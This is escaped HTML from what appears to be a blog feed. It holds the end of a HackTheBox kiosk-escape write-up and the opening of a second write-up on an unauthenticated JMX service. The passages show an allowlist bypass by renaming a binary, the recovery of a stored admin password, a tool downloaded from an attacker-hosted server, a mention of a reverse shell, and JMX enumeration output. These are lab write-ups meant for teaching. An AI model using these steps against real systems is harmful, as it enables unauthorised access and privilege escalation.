&lt;/span&gt;&lt;span class="n"&gt;dir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Access&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'C:\Users\admin'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;denied.&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;net&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;Administrator&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;DefaultAccount&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Guest&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;kioskUser0&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;WDAGUtilityAccount&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Can't read &lt;code&gt;admin&lt;/code&gt;'s profile directly, but a hidden admin-owned folder is visible at the root of &lt;code&gt;C:\&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;d--h--&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;_admin&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;d-----&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nx"&gt;temp&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\_admin&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ls&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;installers/&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;passwords/&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;temp/&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Default.rdp&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;profiles.xml&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;profiles.xml&lt;/code&gt; is a config file for a third-party RDP client:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;PS C:\_admin&amp;gt; type .\profiles.xml
&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="utf-16"?&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!-- Remote Desktop Plus --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;Data&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Profile&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;ProfileName&amp;gt;&lt;/span&gt;admin&lt;span class="nt"&gt;&amp;lt;/ProfileName&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;UserName&amp;gt;&lt;/span&gt;127.0.0.1&lt;span class="nt"&gt;&amp;lt;/UserName&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Password&amp;gt;&lt;/span&gt;JWqkl6IDfQxXXmiHIKIP8ca0G9XxnWQZgvtPgON2vWc=&lt;span class="nt"&gt;&amp;lt;/Password&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Secure&amp;gt;&lt;/span&gt;False&lt;span class="nt"&gt;&amp;lt;/Secure&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Profile&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Data&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An encrypted/encoded password for the &lt;code&gt;admin&lt;/code&gt; profile — but we can't decrypt it manually, so the plan is to load it into the actual &lt;strong&gt;Remote Desktop Plus&lt;/strong&gt; app and let the GUI decrypt it for us.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recovering the Password
&lt;/h2&gt;

&lt;p&gt;Remote Desktop Plus is installed under Program Files (x86):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Program&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x86&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ls&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Remote&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Desktop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Plus/&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Program&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x86&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nx"&gt;\Remote&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Desktop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Plus&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ls&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;rdp.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since &lt;code&gt;C:\_admin&lt;/code&gt; isn't writable/reachable from the app's file picker, first copy &lt;code&gt;profiles.xml&lt;/code&gt; somewhere the low-priv user can access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\_admin\profiles.xml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\kioskUser0\Downloads\&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ran &lt;code&gt;rdp.exe&lt;/code&gt; → &lt;strong&gt;Manage Profiles&lt;/strong&gt; → &lt;strong&gt;Import&lt;/strong&gt; → selected the copied &lt;code&gt;profiles.xml&lt;/code&gt;. The &lt;code&gt;admin&lt;/code&gt; profile now loads in the app, with the password field shown as bullets (&lt;code&gt;••••••••&lt;/code&gt;). Double-clicking / editing / copying the field is all blocked — no cleartext, no clipboard.&lt;/p&gt;

&lt;p&gt;To reveal it, used a Nirsoft tool that reads masked password fields from Windows dialogs: &lt;strong&gt;BulletsPassView&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
&lt;span class="c"&gt;# attacker box&lt;/span&gt;
unzip bulletspassview.zip
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Downloaded &lt;code&gt;BulletsPassView.exe&lt;/code&gt; onto the target from &lt;code&gt;http://&amp;lt;your-ip&amp;gt;/BulletsPassView.exe&lt;/code&gt; (via the browser filesystem trick again), ran it against the open Remote Desktop Plus dialog, and it revealed the masked field:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Password: Twisting30217
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation — &lt;code&gt;kioskuser0&lt;/code&gt; → &lt;code&gt;admin&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Confirmed &lt;code&gt;admin&lt;/code&gt; is a local administrator:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;net&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Group&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Memberships&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;Administrators&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Password&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;required&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;No&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First attempt with &lt;code&gt;runas&lt;/code&gt; didn't actually elevate (still showed &lt;code&gt;kioskuser0&lt;/code&gt; after — likely a profile/token quirk with &lt;code&gt;runas&lt;/code&gt; in this restricted context):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;runas&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/user:admin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;powershell&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead, spawning PowerShell with an elevation request worked and triggered a normal &lt;strong&gt;UAC consent prompt&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Start-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;powershell.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Verb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;runas&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The prompt asked to allow Windows PowerShell (Microsoft-signed) to make changes — clicked &lt;strong&gt;Yes&lt;/strong&gt;, and landed in an elevated shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Windows\system32&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;whoami&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;escape\admin&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Root Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\Administrator\Desktop&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ls&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Microsoft&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Edge.lnk&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;root.txt&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\Administrator\Desktop&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\root.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;REDACTED&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point you're &lt;code&gt;escape\admin&lt;/code&gt;, a full local administrator with no shell restrictions — from here you can also drop &lt;code&gt;nc64.exe&lt;/code&gt;, catch a reverse shell, and operate as SYSTEM without any of the kiosk-mode limitations.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Vulnerabilities &amp;amp; Attack Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Kiosk breakout via browser LOLBin&lt;/strong&gt; — Edge's address bar accepts local paths (&lt;code&gt;C:\&lt;/code&gt;) and renders a full directory listing, giving filesystem access from a "locked down" kiosk session.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak application allowlist&lt;/strong&gt; — restriction is enforced by filename/allowlist rather than a real AppLocker/SRP hash policy, so simply renaming &lt;code&gt;cmd.exe&lt;/code&gt;/&lt;code&gt;powershell.exe&lt;/code&gt; to &lt;code&gt;msedge.exe&lt;/code&gt; bypasses it entirely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cleartext-recoverable stored credentials&lt;/strong&gt; — &lt;code&gt;Remote Desktop Plus&lt;/code&gt; stores admin RDP credentials in a world-readable-once-copied &lt;code&gt;profiles.xml&lt;/code&gt;; the app's own password masking is trivially defeated with a generic password-reveal tool (BulletsPassView), since it's just a masked UI field, not real encryption-at-rest protection.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak/no password policy&lt;/strong&gt; — admin account had "password required: No" enabled at some point and a simple password (&lt;code&gt;Twisting30217&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Standard UAC consent&lt;/strong&gt; — once valid admin credentials/session are available, &lt;code&gt;Start-Process -Verb runas&lt;/code&gt; + accepting the UAC prompt is enough to get a fully elevated administrator shell.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RDP → KioskUser0 (no password)
│
├── Kiosk breakout
│   ├── Win key → Start search
│   │   ├── "cmd"  → blocked (allowlist)
│   │   └── "edge" → allowed
│   └── Edge address bar → C:\  (file:// directory listing)
│       └── user.txt  [FLAG 1]
│
├── Shell access
│   ├── Download cmd.exe / powershell.exe from System32
│   ├── Rename → msedge.exe
│   └── Run → allowlist bypassed → shell as escape\kioskuser0
│
├── Credential discovery
│   ├── C:\_admin\profiles.xml  (Remote Desktop Plus config)
│   ├── copy → C:\Users\kioskUser0\Downloads\
│   ├── Import into rdp.exe (Remote Desktop Plus GUI)
│   │   └── password shown as ●●●●●●●● (masked)
│   └── BulletsPassView.exe (hosted on attacker box, downloaded to target)
│       └── reveals password → Twisting30217
│
└── Privilege escalation
    ├── net user admin → member of Administrators
    ├── runas /user:admin powershell → didn't elevate
    └── Start-Process powershell -Verb runas
        └── UAC prompt → Yes → escape\admin
            └── root.txt  [FLAG 2]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>writeup</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HackTheBox: Manage Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Thu, 02 Jul 2026 05:43:49 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-manage-writeup-3e8f</link>
      <guid>https://dev.to/exploitnotes/hackthebox-manage-writeup-3e8f</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Manage&lt;/strong&gt; is a Linux box built around an exposed &lt;strong&gt;Java RMI / JMX&lt;/strong&gt; service running&lt;br&gt;
alongside an &lt;strong&gt;Apache Tomcat 10.1.19&lt;/strong&gt; web server. The JMX endpoint had no&lt;br&gt;
authentication configured, which allowed a remote attacker to enumerate&lt;br&gt;
registered MBeans and — because JMX effectively grants remote code execution&lt;br&gt;
by design once accessible — deploy a malicious MBean to get a shell as the&lt;br&gt;
&lt;code&gt;tomcat&lt;/code&gt; user.&lt;/p&gt;

&lt;p&gt;From there, a &lt;strong&gt;world-readable backup archive&lt;/strong&gt; (&lt;code&gt;backup.tar.gz&lt;/code&gt;) belonging to&lt;br&gt;
the &lt;code&gt;useradmin&lt;/code&gt; account leaked SSH keys and, more importantly, the raw&lt;br&gt;
&lt;strong&gt;Google Authenticator TOTP secret / scratch codes&lt;/strong&gt; for that account. Copying&lt;br&gt;
the archive out to a writable directory (since the on-disk copy carried&lt;br&gt;
inherited restrictive permissions) allowed it to be extracted freely and its&lt;br&gt;
contents read, giving valid credentials &lt;strong&gt;and&lt;/strong&gt; working 2FA codes for&lt;br&gt;
&lt;code&gt;useradmin&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;useradmin&lt;/code&gt; had a narrow &lt;code&gt;sudo&lt;/code&gt; rule permitting &lt;strong&gt;&lt;code&gt;adduser&lt;/code&gt;&lt;/strong&gt; with a regex&lt;br&gt;
restriction on the username. Abusing this allowed creation of a brand-new&lt;br&gt;
local user account which — due to a misconfiguration in the box — ended up&lt;br&gt;
with &lt;strong&gt;unrestricted sudo (&lt;code&gt;ALL:ALL&lt;/code&gt;)&lt;/strong&gt;, leading directly to &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack chain in one line:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;Unauthenticated JMX → MBean deployment RCE (tomcat) → world-readable backup archive → leaked SSH key / TOTP secret → 2FA login as useradmin → sudo adduser abuse → new user with full sudo → root&lt;/code&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;
&lt;h3&gt;
  
  
  1.1 Port scan
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;nmap -A -Pn &amp;lt;machine-ip&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-oA&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;ssh&lt;/td&gt;
&lt;td&gt;OpenSSH 8.9p1 (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2222/tcp&lt;/td&gt;
&lt;td&gt;java-rmi&lt;/td&gt;
&lt;td&gt;Java RMI registry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8080/tcp&lt;/td&gt;
&lt;td&gt;http&lt;/td&gt;
&lt;td&gt;Apache Tomcat 10.1.19&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two things stood out immediately:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Port 2222&lt;/strong&gt; is a Java RMI registry rather than the usual SSH-on-alt-port
guess — &lt;code&gt;nmap&lt;/code&gt;'s &lt;code&gt;rmi-dumpregistry&lt;/code&gt; script confirmed a bound name called
&lt;code&gt;jmxrmi&lt;/code&gt;, i.e. a &lt;strong&gt;JMX&lt;/strong&gt; endpoint exposed remotely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Port 8080&lt;/strong&gt; is a stock Tomcat landing page, with the version leaking
straight in the page title/footer (&lt;code&gt;Apache Tomcat/10.1.19&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  1.2 Web enumeration
&lt;/h3&gt;

&lt;p&gt;Browsing to &lt;code&gt;http://manage.htb:8080&lt;/code&gt; showed the default Tomcat welcome page,&lt;br&gt;
confirming the Manager and Host Manager webapps were installed.&lt;/p&gt;

&lt;p&gt;Attempting &lt;code&gt;http://manage.htb:8080/manager/html&lt;/code&gt; returned a &lt;strong&gt;403 Access&lt;br&gt;
Denied&lt;/strong&gt; - the Manager GUI is restricted to localhost by default (&lt;code&gt;RemoteAddrValve&lt;/code&gt;)&lt;br&gt;
and additionally requires manager-role credentials in &lt;code&gt;tomcat-users.xml&lt;/code&gt;.&lt;br&gt;
This ruled out a direct login to the web-based Manager app and pointed the&lt;br&gt;
attack toward the RMI/JMX port instead.&lt;/p&gt;


&lt;h2&gt;
  
  
  2. JMX / RMI Enumeration
&lt;/h2&gt;
&lt;h3&gt;
  
  
  2.1 remote-method-guesser (rmg)
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://github.com/qtc-de/remote-method-guesser" rel="noopener noreferrer"&gt;remote-method-guesser&lt;/a&gt;&lt;br&gt;
was used for baseline RMI vulnerability enumeration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;java -jar rmg-5.1.0-jar-with-dependencies.jar enum &amp;lt;machine-ip&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;2222
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] RMI registry bound names:
[+]     - jmxrmi
[+]             --&amp;gt; javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+]                 Endpoint: 127.0.1.1:36571  CSF: RMISocketFactory  ObjID: [...]
[+]
[+] RMI server Security Manager enumeration:
[+]     - Caught Exception containing 'no security manager' during RMI call.
[+]       --&amp;gt; The server does not use a Security Manager.
[+]
[+] RMI server JEP290 enumeration:
[+]     - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]     - Registry rejected unbind call cause it was not sent from localhost.
[+]       Vulnerability Status: Non Vulnerable
[... output truncated ...]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key findings from the output:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A single bound name, &lt;code&gt;jmxrmi&lt;/code&gt;, resolves to &lt;code&gt;RMIServerImpl_Stub&lt;/code&gt; - i.e. this
is a genuine &lt;strong&gt;JMX&lt;/strong&gt; management endpoint, not a generic RMI service.&lt;/li&gt;
&lt;li&gt;No Security Manager is in use.&lt;/li&gt;
&lt;li&gt;JEP290 deserialization filtering &lt;em&gt;is&lt;/em&gt; present at the DGC layer, and
&lt;code&gt;useCodebaseOnly&lt;/code&gt;/JEP290-bypass checks couldn't be tested remotely because
the registry unmarshals &lt;code&gt;java.lang.String&lt;/code&gt; safely via &lt;code&gt;readString()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;CVE-2019-2684 (registry localhost-bypass) - &lt;strong&gt;not vulnerable&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of the classic RMI registry deserialization tricks applied directly, so&lt;br&gt;
the next step was to attack the &lt;strong&gt;JMX layer itself&lt;/strong&gt; rather than the raw RMI&lt;br&gt;
transport.&lt;/p&gt;
&lt;h3&gt;
  
  
  2.2 beanshooter
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://github.com/qtc-de/beanshooter" rel="noopener noreferrer"&gt;beanshooter&lt;/a&gt; is purpose-built for&lt;br&gt;
attacking JMX endpoints (MBean enumeration, credential brute forcing, and a&lt;br&gt;
number of MBean-based RCE primitives).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum &amp;lt;machine-ip&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;2222
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Checking for unauthorized access:
[+]     - Remote MBean server does not require authentication.
[+]       Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]     - Remote MBeanServer rejected the payload class.
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]     - 167 MBeans are currently registred on the MBean server.
[+]       Listing 145 non default MBeans:
[+]       - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/host-manager)
[+]       - jdk.management.jfr.FlightRecorderMXBeanImpl (jdk.management.jfr:type=FlightRecorder) (action: recorder)
[+]       - com.sun.management.internal.HotSpotDiagnostic (com.sun.management:type=HotSpotDiagnostic) (action: hotspot)
[+]       - com.sun.management.internal.DiagnosticCommandImpl (com.sun.management:type=DiagnosticCommand) (action: diagnostic)
